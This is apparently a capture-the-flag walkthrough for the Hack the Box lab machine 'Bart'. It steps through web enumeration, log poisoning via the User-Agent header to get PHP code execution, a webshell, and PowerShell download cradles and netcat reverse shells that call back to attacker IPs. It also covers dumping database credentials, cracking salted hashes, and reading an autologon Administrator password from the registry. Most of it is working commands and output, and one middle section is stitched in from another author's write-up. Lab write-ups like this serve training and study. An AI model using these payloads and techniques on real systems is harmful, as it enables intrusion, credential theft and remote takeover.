Today we are going to solve another CTF challenge “Bart” which is available online for those who want to increase their skill in penetration testing and black box testing. Bart is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.81 so let’s begin with nmap port enumeration.
C:\Users\jacco>nmap -sV -sC 10.10.10.81 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 20:24 W. Europe Standard Time Nmap scan report for bart.htb (10.10.10.81) Host is up (0.031s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.85 seconds
Enumeration Port 80 (forum.bart.htb (wordpress))
From our nmap scan we can that we are being redirected automatically to forum.bart.htb
. Since htb doesn’t have global dns, we aren’t going to be able to resolve the site. We can add a dns entry in our /etc/hosts
file to point 10.10.10.81
to both bart.htb
and forum.bart.htb
.
Visiting forum.bart.htb in a browser brings us to a WordPress site.
Attempting to access the WordPress login page ends up with an error: "The page cannot be displayed because an internal server error has occurred."
This is strange because there’s not much else going on with the site. Likely is might be some sort of rabbit hole.
Running gobuster on forum.bart.htb doesn't
reveal anything extremely interesting. Thinking that maybe there is some hidden content with the site, we mirror the site with wget, and search for interesting content like emails, extra domain names, or hidden pages.
We were able to discover a few potential emails/usernames but nothing that stood out blindly. We did notice that the bart developer Harvey Potter
h.potter@bart.htb is the only member of the team not displayed on the main site, but who’s information is stored in a comment on the page.
mirroring site locally
root@kali:~/htb/bart/bart_wpsite# wget -r http://forum.bart.htb
root@kali:~/htb/bart/bart_wpsite# grep -RiP "bart" forum.bart.htb/
forum.bart.htb/index.html:<title>BART</title>
forum.bart.htb/index.html:<link rel='stylesheet' id='sydney-ie9-css' href='http://forum.bart.htb/wp-content/themes/sydney/css/ie9.css?ver=4.8.2' type='text/css' media='all' />
forum.bart.htb/index.html: <h1 class="site-title"><a href="#" rel="home">BART</a></h1>
forum.bart.htb/index.html: <div class="pos">CEO@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:s.brown@bart.local" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <div class="pos">CEO@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:d.simmons@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:r.hilton@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html: <div class="pos">Developer@BART</div>
forum.bart.htb/index.html: <li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
forum.bart.htb/index.html:
...[snip]...
better grep or extract email addresses
root@kali:~/htb/bart/bart_wpsite# grep -RiE -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b"
forum.bart.htb/index.html:s.brown@bart.local
forum.bart.htb/index.html:d.simmons@bart.htb
forum.bart.htb/index.html:r.hilton@bart.htb
forum.bart.htb/index.html:h.potter@bart.htb
forum.bart.htb/index.html:info@bart.htb
forum.bart.htb/index.html:info@bart.htb
Discovering Monitoring Portal with Wfuzz
We can use wfuzz
as our directory brute forcer, and filter the results based on a character count baseline. As you can see below, the resulting error page wfuzz detects as having 158607
characters in the response. We can use this as our baseline and ignore all responses that have 158607 ch
in them, which in turn would only show us pages that are different (unique content) with the --hh
flag.
root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt" 000004: C=302 0 L 0 W 0 Ch "#" 000010: C=302 0 L 0 W 0 Ch "#" 000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA." 000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons" 000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street," 000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000002: C=302 0 L 0 W 0 Ch "#" 000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found" 000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts" 000013: C=302 0 L 0 W 0 Ch "#" 000014: C=302 0 L 0 W 0 Ch "" 000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher" 000019: C=200 630 L 5628 W 150693 Ch "news" 000024: C=200 630 L 5628 W 150693 Ch "12" 000015: C=200 630 L 5628 W 150693 Ch "index" 000022: C=200 630 L 5628 W 150693 Ch "warez" 000016: C=200 630 L 5628 W 150693 Ch "images" 000017: C=200 630 L 5628 W 150693 Ch "download" 000018: C=200 630 L 5628 W 150693 Ch "2006" 000020: C=200 630 L 5628 W 150693 Ch "crack" 000030: C=200 630 L 5628 W 150693 Ch "11"
Using Wfuzz to hide the error page responses
root@kali:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ --hh 150693 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.3.3 - The Web Fuzzer * ******************************************************** Target: http://bart.htb/FUZZ/ Total requests: 220560 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000007: C=302 0 L 0 W 0 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000001: C=302 0 L 0 W 0 Ch "# directory-list-2.3-medium.txt" 000002: C=302 0 L 0 W 0 Ch "#" 000003: C=302 0 L 0 W 0 Ch "# Copyright 2007 James Fisher" 000004: C=302 0 L 0 W 0 Ch "#" 000005: C=302 0 L 0 W 0 Ch "# This work is licensed under the Creative Commons" 000006: C=302 0 L 0 W 0 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000008: C=302 0 L 0 W 0 Ch "# or send a letter to Creative Commons, 171 Second Street," 000009: C=302 0 L 0 W 0 Ch "# Suite 300, San Francisco, California, 94105, USA." 000010: C=302 0 L 0 W 0 Ch "#" 000011: C=302 0 L 0 W 0 Ch "# Priority ordered case sensative list, where entries were found" 000013: C=302 0 L 0 W 0 Ch "#" 000012: C=302 0 L 0 W 0 Ch "# on atleast 2 different hosts" 000014: C=302 0 L 0 W 0 Ch "" 000067: C=200 548 L 2412 W 35529 Ch "forum" 001614: C=200 80 L 221 W 3423 Ch "monitor" 002385: C=200 548 L 2412 W 35529 Ch "Forum" 002869: C=200 630 L 5628 W 150693 Ch "1441"^C Finishing pending requests...
From our results we can see that there’s content being served from the “forum” and “monitor” directories with the forum being forum.bart.htb
monitor.bart.htb
Visting monitor.bart.htb
in our browser reveals the application “PHP Server Monitor v3.2.1”.
After trying the usual hack the box username:password combinations with no luck we begin looking for another avenue to get into this application. PHP monitor has a password reset function, which only takes a username. When you attempt to do a password reset on a user that doesn’t exist you get the following error.
With this knowledge we can attempt to enumerate usernames in a targeted manner using the information gathered from forum.bart.htb
.
I compiled a short list of possible user names from the site:
potential usernames compiled from forum.bart.htb
root@kali:~/htb/bart# cat names.txt
s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb
info@bart.htb
s.brown
d.simmons
r.hilton
h.potter
info
samantha
brown
daniel
simmons
robert
hilton
harvey
potter
We can use burpsuite intruder coupled with the simple list payload to perform this attack.
This is how we can set up burpsuite intruder to perform our attack.
From the results of our intruder attack we see that we have two valid usernames harvey
and daniel
.
After some educated guessing you will discover a valid username:password combination of harvey:potter
.
When you attempt to authenticate you are redirected to monitor.bart.htb
which fails to resolve similar to forums. We add monitor.bart.htb
to our /etc/hosts
file and attempt to reauthenticate with our newly found credentials.
After we re-authenticate we are greeted with the following page.
Browsing around you see there is an entry for the “Internal Chat” service
Viewing the details of “Internal Chat” reveals that there is another application on a different domain “internal-01.bart.htb”
Exploitation
Simple Chat Source Code Discovery & Account Registration
Visting internal-01.bart.htb
in our browser reveals the login page of bart’s internal “dev chat”.
while running gobuster & sqlmap in the background if you did some googling on “simple chat” you will discover the following github repo https://github.com/magkopian/php-ajax-simple-chat. To validate that these two applications are the same, I inspected the css/chat_global.css file and sure enough it was the same application. Looking at the application’s code we see that’s there is registration functionality. The application doesn’t directly give you an option to register for an account, but it seems shoddily built so likely we can try manually crafting the request to register the account and hope nothing changed (we know the location and the parameters required to register an account from auditing the register.php source code).
Sure enough, we are able to register an account with a username:password of puck:puckiestyle
on the internal dev chat by crafting our request just right.
We’ll use curl to create an account and get access to the site:
C:\Users\jacco>curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=puckie&passwd=puckiestyle"
And we are in:
Getting RCE through LFI & Log Poisoning
Clicking the log link will cause two alerts to appear that seemly do nothing. Inspecting the original application code, there are no references to a “log” functionality so this must be a 3rd party modification. After some fiddling & inspecting the request history in burp suite, you will see that the application will record the username & your user-agent in a log file as seen below.
Since we can control what our user agent is we can use this to execute php code by visiting the log file page.
GET /log/log.php?username=harvey&filename=log.php HTTP/1.1 Host: internal-01.bart.htb User-Agent: <?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc.exe','nc.exe')\""); ?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: nl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=7iolgpinpbgb51oo15qjntsm2k Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
To speed this up I recommend having 2-3 repeater tabs open. One to input commands into, and one to visit the page to trigger the execution.
We upload & execute a 64-bit netcat binary onto the machine (important for later) so we can get an interactive shell.
I injected the following code into the user agent
field. Make sure you remember to escape the \
.
<?php echo exec("powershell -command \"(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.20/nc64.exe','nc64.exe')\""); ?>
<?php exec("nc64.exe 10.10.14.20 443 -e cmd.exe"); ?>
getting shell
C:\Users\jacco>nc64.exe -lvp 443 listening on [any] 443 ... connect to [10.10.14.20] from bart.htb [10.10.10.81] 50207 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\inetpub\wwwroot\internal-01\log>powershell powershell Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. Cannot load PSReadline module. Console is running without PSReadline. PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitOperatingSystem [System.Environment]::Is64BitOperatingSystem True PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitProcess [System.Environment]::Is64BitProcess False PS C:\inetpub\wwwroot\internal-01\log> whoami whoami nt authority\iusr PS C:\inetpub\wwwroot\internal-01\log>
Log Poisoning
Looking at the source, there’s added code compared to the github repo:
<div id="log_link">
<script>
function saveChat() {
// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
xhr.send(null);
alert("Done");
}
</script>
<a href="#" onclick="saveChat()">Log</a>
</div>
When the user clicks the Log
link, there’s a popup saying “Done”, and then one saying “1”. That’s because the xhr.open
function is called with the 3rd parameter true
, which sets the call to async mode. The script then alerts “Done”, and then, when the http request comes back, the xhr.onreadystatechange function is called, which alerts with the response text.
Checking out the url that’s being called, if viewed directly, it outputs just the number 1, as seen in the popup.
If you change the file parameter to a file that already exists and we can’t write over (like the page source), it returns 0. Also, if you change it to a user that doesn’t exist, it returns 0. What about the file? Turns out that file is available in the same directory:
[2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Each time someone visits log.php
, it appears to record the time, the username argument, and their useragent string.
So let’s see if we can get execution by writing to phpinfo.php with useragent <?php phpinfo(); ?>
.
root@kali:~/hackthebox/bart-10.10.10.81# python3
Python 3.6.5rc1 (default, Mar 14 2018, 06:54:23)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> proxies={'http':'http://127.0.0.1:8080'}
>>> headers={'User-Agent':'0xdf: <?php phpinfo(); ?>'}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=phpinfo.php&username=harvey', proxies=proxies, headers=headers)
Then visit http://internal-01.bart.htb/log/phpinfo.php
:
PHP Webshell
So a webshell is possible:
>>> headers={'User-Agent':"0xdf: <?php system($_REQUEST['cmd']); ?>"}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=0xdf.php&username=harvey', proxies=proxies, headers=headers)
root@kali:~/hackthebox/bart-10.10.10.81# curl http://internal-01.bart.htb/log/0xdf.php?cmd=whoami
[2018-04-28 22:55:12] - harvey - 0xdf: nt authority\iusr
Nishang Invoke-PowerShellTcp Shell
Time for a real shell. Grab Invoke-PowerShellTcp.ps1
from Nishang, and add a line to the end:
root@kali:~/hackthebox/bart-10.10.10.81# cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
root@kali:~/hackthebox/bart-10.10.10.81# tail -1 Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.48 -Port 4444
Give webshell powershell to get interactive shell and run it, and get shell:
>>> cmd = "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/Invoke-PowerShellTcp.ps1')"
>>> r = requests.get('http://internal-01.bart.htb/log/0xdf.php?cmd={}'.format(cmd), proxies=proxies)
root@kali:~/hackthebox/bart-10.10.10.81# python -m SimpleHTTPServer 8083
Serving HTTP on 0.0.0.0 port 8083 ...
10.10.10.81 - - [28/Apr/2018 16:09:12] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
root@kali:~/hackthebox/bart-10.10.10.81# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.48] from (UNKNOWN) [10.10.10.81] 49673
Windows PowerShell running as user BART$ on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\internal-01\log>whoami
nt authority\iusr
Privilege Escalation
Since we only have a low-privilege user for now, let’s focus on enumerating the files under C:\inetpub\wwwroot folder.
Browsing through the different files on the sub-directories, we can see some interesting files that contains configuration and credentials.
Found a db config file C:\inetpub\wwwroot\internal-01\simple_chat\includes\dbconnect.php
C:\inetpub\wwwroot\internal-01\simple_chat\includes>type dbconnect.php
type dbconnect.php
/**********************************************\
* Copyright (c) 2013 Manolis Agkopian *
* See the file LICENCE for copying permission. *
\**********************************************/
if (!defined('INCLUDED')){
define('INCLUDED',true);
require 'markup_func.php';
header('HTTP/1.1 403 Forbidden');
do_html_403();
die();
}
function db_connect() {
$con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');
if ($con === false) {
return false;
}
mysqli_set_charset ($con , 'UTF-8');
return $con;
}
Let’s try to login to the database and enumerate using the credentials (harvey:!IC4nB3Th3B3st?) specified on the file .
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"
mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"
Database
information_schema
internal_chat
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat
mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat
Tables_in_internal_chat
message
user
C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
uid uname passwd
1 harvey faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3
2 bobby e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc
3 daniel f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801
Ok. We got some password hashes. But no matter how much time we spend on cracking this, we won’t be successful. The reason for this is because the password is salted. We can see a hard coded salt on another interesting file.
C:\inetpub\wwwroot\internal-01\simple_chat\includes> type validation_func.php
type validation_func.php
<?php
function validate_password ($passwd) {
$passwd = trim($passwd); //ignore white-space on start or the end of the password
if (validate_len($passwd, 'inf', 8) === false) {
return false;
}
$salt = '8h@tr-waswe_aT#9TaCHuPhU'; //for security reasons please replace this string with your own random string (before attempt to register any user)
return hash('sha256', $passwd.$salt); //return sha256 hash of the salted password
return $passwd;
}
With this information, we can try to crack the password hashes using hashcat and the hard-coded salt we found.
First, let’s prepare the input file for hashcat.
root@loki:~# nano sha256.hash
root@loki:~# cat sha256.hash
faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU
e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc:8h@tr-waswe_aT#9TaCHuPhU
f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801:8h@tr-waswe_aT#9TaCHuPhU
root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt
hashcat (v3.5.0) starting...
<----------------------------TRUNCATED---------------------------------->
Recovered........: 1/3 (33.33%) Digests, 0/1 (0.00%) Salts
Progress.........: 14343296/14343296 (100.00%)
Rejected.........: 2006/14343296 (0.01%)
Restore.Point....: 14343296/14343296 (100.00%)
Candidates.#1....: $HEX[3139303731393638] -> $HEX[042a0337c2a156616d6f732103]
HWMon.Dev.#1.....: Temp: 49c Util: 48% Core: 901MHz Mem: 900MHz Bus:8
root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt --show
faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU:Password1
We cracked the password for harvey! But we already know this one. As of now, we have 3 potential passwords used by harvey: (1) potter, (2) Password1, (3) !IC4nB3Th3B3st? So let’s proceed to checking if harvey reuses his passwords.
Before we forget, let’s first confirm if harvey really has an OS account on the machine.
C:\inetpub\wwwroot\internal-01\log>net users
net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator b.hilton d.simmons
DefaultAccount Guest h.potter
privileged
The command completed with one or more errors.
Yup. Harvey’s account is h.potter. Next, let’s check some information for Harvey’s account.
C:\inetpub\wwwroot\internal-01\log>net user h.potter
net user h.potter
User name h.potter
Full Name Harvey Potter
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 21/02/2018 20:53:00
Password expires 04/04/2018 20:53:00
Password changeable 21/02/2018 20:53:00
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 29/03/2018 15:50:28
Logon hours allowed All
Local Group Memberships *PowerShell Session Users
*Remote Management Users
*Users
Global Group memberships *None
The command completed successfully.
As you can see, Harvey’s account is a member of the PowerShell Session Users and Remote Management Users group. Membership to both of this groups allow Harvey’s account to do PowerShell Remoting via WinRM.
Let’s confirm and check if the WinRM port (TCP 47001) is listening.
C:\inetpub\wwwroot\internal-01\log>netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 856
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1844
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 500
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 308
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 996
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1568
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 620
<------------------------------TRUNCATED----------------------------------->
Confirmed!
Next, we’ll use powershell to try and login as h.potter on the target machine.
C:\inetpub\wwwroot\internal-01\log>powershell.exe
powershell.exe
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
Cannot load PSReadline module. Console is running without PSReadline.
PS C:\inetpub\wwwroot\internal-01\log>
PS C:\inetpub\wwwroot\internal-01\log> $username = 'BART\h.potter'
PS C:\inetpub\wwwroot\internal-01\log> $securePassword = ConvertTo-SecureString -AsPlainText -Force 'Password1'
PS C:\inetpub\wwwroot\internal-01\log> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\inetpub\wwwroot\internal-01\log> Enter-PSSession -ComputerName localhost -Credential $credential
[localhost]: PS C:\Users\h.potter\Documents> whoami
whoami
bart\h.potter
Using the password “Password1” allows us to login as h.potter
Let’s proceed to capture the user flag.
[localhost]: PS C:\Users\h.potter\Documents> cmd.exe /c "type ..\user.txt" 625*****30f
Our next step is to perform further enumeration to escalate our privilege to Administrator. I won’t write every detailed step I took in order to locate the vector but you can check out this Windows Privilege Escalation cheat sheet for the common techniques.
For this box, I was able to locate an Autologin entry on the Windows Registry.
[localhost]: PS C:\Users\h.potter\Documents> C:\windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" C:\windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no DefaultDomainName REG_SZ DESKTOP-7I3S68E DefaultUserName REG_SZ Administrator DisableBackButton REG_DWORD 0x1 EnableSIHostIntegration REG_DWORD 0x1 ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe ShellCritical REG_DWORD 0x0 ShellInfrastructure REG_SZ sihost.exe SiHostCritical REG_DWORD 0x0 SiHostReadyTimeOut REG_DWORD 0x0 SiHostRestartCountLimit REG_DWORD 0x0 SiHostRestartTimeGap REG_DWORD 0x0 Userinit REG_SZ C:\Windows\system32\userinit.exe, VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile WinStationsDisabled REG_SZ 0 scremoveoption REG_SZ 0 DisableCAD REG_DWORD 0x1 LastLogOffEndTimePerfCounter REG_QWORD 0xcdbc433 ShutdownFlags REG_DWORD 0x8000022b AutoAdminLogon REG_SZ 1 DisableLockWorkstation REG_DWORD 0x0 EnableFirstLogonAnimation REG_DWORD 0x1 AutoLogonSID REG_SZ S-1-5-21-988671444-1802818203-1364644418-500 LastUsedUsername REG_SZ Administrator DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey [localhost]: PS C:\Users\h.potter\Documents>
Note: Since the netcat I used is 32-bit, I needed to specify the exact path for the 64-bit reg.exe when performing queries so that registry redirection won’t happen. As an alternative to this, you can also use a 64-bit version of netcat.
At this point, we can just login as Administrator using Powershell again and create another reverse shell using netcat to capture the root flag.
Powershell Session
C:\inetpub\wwwroot\internal-01\log> powershell.exe
PS C:\inetpub\wwwroot\internal-01\log> $username = 'BART\Administrator'
PS C:\inetpub\wwwroot\internal-01\log> $securePassword = ConvertTo-SecureString -AsPlainText -Force '3130438f31186fbaf962f407711faddb'
PS C:\inetpub\wwwroot\internal-01\log> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\inetpub\wwwroot\internal-01\log> Enter-PSSession -ComputerName localhost -Credential $credential
[localhost]: PS C:\Users\Administrator\Documents> cmd.exe /c "C:\inetpub\wwwroot\internal-01\log\nc64.exe 10.10.14.20 53 -e cmd.exe"
Netcat Session
C:\Users\jacco>nc64.exe -lvp 53 listening on [any] 53 ... connect to [10.10.14.20] from bart.htb [10.10.10.81] 50293 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Administrator\Documents>whoami whoami bart\administrator C:\Users\Administrator\Documents>cd ..\Desktop C:\Users\Administrator\Desktop>type root.txt type root.txt 007*****2dc
Author : puckiestyle